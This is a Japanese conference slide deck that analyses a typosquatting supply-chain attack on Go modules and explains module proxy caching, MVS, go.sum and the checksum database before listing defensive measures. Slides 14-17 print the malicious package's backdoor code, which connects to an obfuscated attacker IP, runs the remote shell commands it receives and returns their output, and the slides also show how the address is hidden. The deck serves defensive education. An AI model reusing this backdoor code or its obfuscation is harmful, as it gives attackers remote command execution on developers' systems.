Slide 1

Slide 1 text

サプライチェーン攻撃に学ぶ Moduleの仕組みと セキュリティ対策 GoConference 2025 2025/09/27 kuroda naoki 1

Slide 2

Slide 2 text

自己紹介 kuro @knkurokuro7 株式会社サイバーエージェント DeveloperProductivity室 Bucketeerチー ム所属 元気みなぎる3年目です! 2

Slide 3

Slide 3 text

目次 1. 発覚したサプライチェーン攻撃の背景と概要 2. Go Moduleの仕組み 3. 対策的なことを考える 3

Slide 4

Slide 4 text

1. 発覚したサプライチェーン攻撃の背 景と概要 4

Slide 5

Slide 5 text

発覚した事件 ● 2025年2月、Socket Securityが報告 ● 3年以上潜伏していた悪意のあるパッ ケージ ○ github.com/boltdb-go/bolt (×) ○ github.com/boltdb/bolt (○) ● タイポスクワッティングを悪用していた。 https://socket.dev/blog/malicious-package-ex ploits-go-module-proxy-caching-for-persistence 5

Slide 6

Slide 6 text

攻撃者の手法のポイント 1. Module Proxyの不変性を悪用 2. GitHubのタグ書き換えのタイミングの巧妙さ 3. 難読化されたバックドアコード 6

Slide 7

Slide 7 text

Module Proxyとは - GOPROXYプロトコルを実装するHTTPサーバー。 - 環境変数 GOPROXY で設定できる。デフォルト値は `https://proxy.golang.org,direct`で、Goチームは、 proxy.golang.orgで提供されるモジュールミラーを管理して いる。 - goコマンドは、バージョン情報(メタデータ)、go.modファイ ル、およびモジュールzipファイル(実際のコード)をModule Proxyからダウンロードする。 7

Slide 8

Slide 8 text

Module Proxyのメリット - 高速化と効率化 - プロキシを使用すると、goコマンドは必要な特定のモジュールのメタデータや ソースコードのみを要求するため、より速くなる。 - 依存関係の消失から保護 - メタデータとソースコードを独自のストレージシステムにキャッシュしてくれてる ので、オリジナルの場所からなくなっても使用し続けられる。 8

Slide 9

Slide 9 text

1. Module Proxyの不変性 > A module proxy must always serve the same content for successful responses for $base/$module/$version.mod and $base/$module/$version.zip queries. – Go Modules Reference(https://go.dev/ref/mod) → 特定のバージョンに対するgo.modファイル ($base/$module/@v/$version.mod) とモジュールzipファイル ($base/$module/@v/$version.zip) の成功した応答に対しては、常に同じコン テンツを提供する。 9

Slide 10

Slide 10 text

Proxyのキャッシュメカニズム 開発者: go get github.com/hoge/[email protected] ↓ proxy.golang.org ├─ キャッシュ済み? │ ├─ Yes → 即座に返す(GitHubを見ない) │ └─ No → GitHubから取得 │ ↓ │ キャッシュ │ ↓ │ 開発者に返す └─ 以降、キャッシュを配布し続ける 一度キャッシュされたら、オリジナルの変更は反映されない 10

Slide 11

Slide 11 text

2. GitHubのタグ書き換えのタイミング 成功する攻撃😈 1. 悪意のあるコードをGitHubに公開 2. 誰かがgo getでダウンロード 3. Module Proxyが悪意のある版をキャッシュ 4. 攻撃者がGitHubのタグを「クリーンなコード」に書き換え 結果: - GitHub上 → 無害なコードに見える - Module Proxy → 悪意のある版を配布し続ける 11

Slide 12

Slide 12 text

2. GitHubのタグ書き換えのタイミング 失敗する攻撃👿 1. クリーンなコードをGitHubに公開 2. 誰かがgo getでダウンロード 3. Module Proxyがクリーンな版をキャッシュ 4. 攻撃者がGitHubを悪意のあるコードに書き換え 結果: - GitHub上 → 悪意のあるコードが見える - Module Proxy → クリーンな版を配布し続ける 12

Slide 13

Slide 13 text

2. GitHubのタグ書き換えのタイミング ● Module Proxyのキャッシュは一度きりで不変性がある ● 何がキャッシュされるか = 最初にgo getされた時点のコード ● GitHubのタグ書き換えで痕跡を隠蔽可能→後から正常なコードにタグを付 け替える。 13

Slide 14

Slide 14 text

3. 難読化されたバックドアコード 攻撃者が仕込んだコード(簡略版) func ApiInit() {  go func() { defer func() { // 関数がパニックした場合、30秒後に再開 if r := recover(); r != nil { time.Sleep(30 * time.Second) ApiInit() } }() for { d := net.Dialer{Timeout: 10 * time.Second} // _r()を使用して隠されたIPアドレスとポートを構築 conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort))) if err != nil { // 接続が失敗した場合、即座の検出を避けるため30秒後に再試行 time.Sleep(30 * time.Second) continue } 14

Slide 15

Slide 15 text

    // リモートコマンド実行ループ // 受信コマンドを読み取り、実行 for { message, _ := bufio.NewReader(conn).ReadString('\n') args, err := shellwords.Parse(strings.TrimSuffix(message, "\n")) if err != nil { fmt.Fprintf(conn, "Parse err: %s\n", err) continue } // 任意のシェルコマンドの実行 var out []byte if len(args) == 1 { out, err = exec.Command(args[0]).Output() } else { out, err = exec.Command(args[0], args[1:]...).Output() } // コマンド出力またはエラーを脅威アクターに送り返す if err != nil { fmt.Fprintf(conn, "%s\n", err) } fmt.Fprintf(conn, "%s\n", out) } } } 15

Slide 16

Slide 16 text

巧妙な難読化 const ( MaxBatchSize = 16384 MaxMemSize = 64966512577 MaxIndex = 6179852731 MaxPort = 2060272 ) func _r(s string) string { ret := strings.ReplaceAll(s, "5", ".") ret = strings.ReplaceAll(ret, "6", "") ret = strings.ReplaceAll(ret, "7", "") return ret } 16

Slide 17

Slide 17 text

巧妙な難読化 conn, err := d.Dial("tcp", _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort))) strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)) → "649665125776179852731:2060272" _r(strconv.Itoa(MaxMemSize) + strconv.Itoa(MaxIndex) + ":" + strconv.Itoa(MaxPort)) → 5を . に置き換え、6と7を削除する →"49.12.198[.]231:20022" →このIPアドレスのサーバーに接続して、リモートでコマンドを実行する 17

Slide 18

Slide 18 text

2. Go Moduleの仕組み 18

Slide 19

Slide 19 text

 Module Proxyについて(おさらい) > A module proxy must always serve the same content for successful responses for $base/$module/$version.mod and $base/$module/$version.zip queries. – Go Modules Reference(https://go.dev/ref/mod) →特定のバージョンに対するgo.modファイル ($base/$module/@v/$version.mod) とモジュールzipファイル ($base/$module/@v/$version.zip) の成功した応答に対しては、常に同じコ ンテンツを提供する。 →一度キャッシュされたら、同じものが返ってくる(配布の不変性) 19

Slide 20

Slide 20 text

go.modとMVSを理解する module github.com/myproject go 1.23 require ( github.com/gin-gonic/gin v1.9.0 github.com/boltdb/bolt v1.3.1 // バージョンを指定 ) ● モジュール名、Goバージョン、依存関係を定義 ● 最小バージョン選択 - MVS(Minimal Version Selection) で依存を解決 go.modの例 20

Slide 21

Slide 21 text

MVS(最小バージョン選択)とは (去年ののびしーさんのスライドが詳しいです) 21

Slide 22

Slide 22 text

MVS(最小バージョン選択)とは myapp ├── パッケージA v1.2以上が必要 └── パッケージB v1.1以上が必要 パッケージA v1.2 └── パッケージC v1.3以上が必要 パッケージB v1.1 └── パッケージC v1.5以上が必要 利用可能なバージョン: パッケージA: v1.2, v1.3, v1.4 パッケージB: v1.1, v1.2 パッケージC: v1.3, v1.4, v1.5, v1.6(最新) Go の MVS:パッケージC v1.5を選択 npmとか: パッケージC v1.6(最新)を選択 22

Slide 23

Slide 23 text

MVS(最小バージョン選択)とは - MVSによって最新のバージョンに勝手にアップデートされないため。 - 予期しないバージョンアップを防ぐことができる。 →ただ、タイポスクワットの場合はバージョンは関係ないので無意味🥺 23

Slide 24

Slide 24 text

go.sumについて go.sumの例(2行と決まってはない) ● go.sumファイルの各行は、モジュールのモジュールパス、バージョン、ハッシュ (チェックサム)で構成されている。→依存関係の整合性検証のため 1行目: モジュール全体のハッシュ ● 実際にビルド・テストする時に検証 2行目: go.modファイルだけのハッシュ ● 依存関係の解決時(MVS実行時)に使用する github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14= github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M= 24

Slide 25

Slide 25 text

go.sumについて 1. ハッシュの検証 a. goコマンドがモジュールキャッシュにモジュールをダウンロードするとき、ダウンロードされ たファイル(.modファイルと.zipファイル)からハッシュを計算し、それをメインモジュール のgo.sumに記録されているハッシュと比較する。 b. 一致しない場合、セキュリティエラーを報告し、そのダウンロードされたファイルをモジュー ルキャッシュに追加しない。 2. チェックサムデータベースとの連携 a. チェックサムデータベース(デフォルトでは sum.golang.org)は、すべてのモジュールバー ジョンについて、go.sumのグローバルなソースとして機能する。 b. go.sumにハッシュがまだ存在しない場合、 goコマンドはデフォルトでこのグローバルデー タベースに問い合わせてハッシュを検証する。 c. (基盤には、Merkle Treeと呼ばれる改ざん防止の特性を持つ構造がある。) 25

Slide 26

Slide 26 text

Merkle Treeによる改ざん検出  Transparent Logs for Skeptical Clients(https://research.swtch.com/tlog)に詳しい   26

Slide 27

Slide 27 text

Merkle Treeによる改ざん検出 Merkle tree = たくさんのデータをハッシュの二分木にまとめ、1つの小さな値(ルート ハッシュ)で全体の整合性を確かめられるデータ構造。 どこか1ビットでも変わると、葉のハッシュが変わり、最終的にルートも変わるのでバレ る。 → 改ざん検知が容易 27

Slide 28

Slide 28 text

go.sumのセキュリティ go.sumが防げるケース - 同じモジュールの改ざん検出 - チーム内での整合性保証 go.sumが防げないケース - タイポによる間違ったモジュールの使用 - 初回ダウンロード時の悪意のあるコード 28

Slide 29

Slide 29 text

各レイヤーでのセキュリティ 29

Slide 30

Slide 30 text

各レイヤーでのセキュリティ ⓪:パッケージ名の正しさ 🥺保護なし(開発者の注意に依存) ↓ ← 今回のタイポスクワット攻撃はここ!! ①: バージョン選択 🫰go.mod + MVS ↓ ②: 配布の不変性保証 🫰Module Proxy ↓ ③: グローバル検証 🫰チェックサムDB ↓ ④: ローカル検証 🫰 go.sum 30

Slide 31

Slide 31 text

3. 対策的なことを考える 31

Slide 32

Slide 32 text

対策まとめ 1.  依存パッケージは手書きしない 2.  lintで検知 3. (go mod verify/go mod tidyで整合性確認) 4. (脆弱性スキャン) 32

Slide 33

Slide 33 text

依存パッケージを手書きしない ● gopls等の自動補完を使ってパッケージを追加する。 → 手で書くよりはタイポが起こりにくい →ただ、補完自体が間違えることもあるかも ● goplsのmatcher設定をCaseSensitiveにするとか →入力中の候補を厳密にする。 →ただし、候補が出てくるのが遅くなってやや厄介 "gopls": { "ui.completion.matcher": "CaseSensitive", }, 33

Slide 34

Slide 34 text

lintで検知する ● gci等のツールでimportを整理 して見やすくする。→レビューの 際に確認しやすいように。 ● (タイポ自体を検知するようない い感じのリンターはない。。。) import ( "fmt" go "github.com/golang" "github.com/daixiang0/gci" _ "github.com/daixiang0/gci/blank" _ "github.com/golang/blank" . "github.com/daixiang0/gci/dot" . "github.com/golang/dot" ) 34

Slide 35

Slide 35 text

go mod verify の実行 ● メインモジュールの依存関係が、モジュールキャッシュに保存されてから変更されて いないことを確認する。 ○ go.sumファイル内のハッシュと、モジュールキャッシュ内の実際のファイルのハッシュを照合 し、改ざんされていないことを確認 ↓ ● 最初から悪意のあるモジュールは検出できない ● 攻撃者が正規手順で公開し、ミラー/チェックサムDBにも登録済みの場合、verify は整合性一致として通過する。 35

Slide 36

Slide 36 text

go mod tidyの実行 ● go.modファイルがモジュール内のソースコードと一致していることを保証す るコマンド。 ○ コードと一致するようにモジュールを取得もする。 ○ 不足しているgo.sumエントリの追加と、不要なエントリの削除もする。 36

Slide 37

Slide 37 text

govulncheckの活用 Go公式の脆弱性スキャナー ● 実際に到達する可能性のあるコードパスを対象にして検出 ● Go Vulnerability Database(https://vuln.go.dev)へ照会 →既知の脆弱性のみを検出する。 37

Slide 38

Slide 38 text

nancyの活用 Sonatype OSS Indexを使って、依存パッケージの脆弱性を調査してくれる。 https://github.com/sonatype-nexus-community/nancy →既知の脆弱性のみを検出する。 38

Slide 39

Slide 39 text

まとめ ● Goのmodule周りは仕組みが面白い。 ● 既存の仕組みで何に対してのどこまでのセキュリティが保たれているの かの範囲を理解するのが重要。 ● それが理解できると、どこまでをツールに任せられて、どこからはある 程度人の意識を向けないといけないのかがわかる。 39

Slide 40

Slide 40 text

参考資料 ● Go Modules Reference ● Module Mirror and Checksum Database ● go.mod file reference - The Go Programming Language ● Go Supply Chain Attack: Malicious Package Exploits Go Module Proxy Caching for Persistence ● research!rsc: Transparent Logs for Skeptical Clients ● GitHub - daixiang0/gci: GCI, a tool that control golang package import order and make it always deterministic. ● Go 公式の脆弱性管理システム 40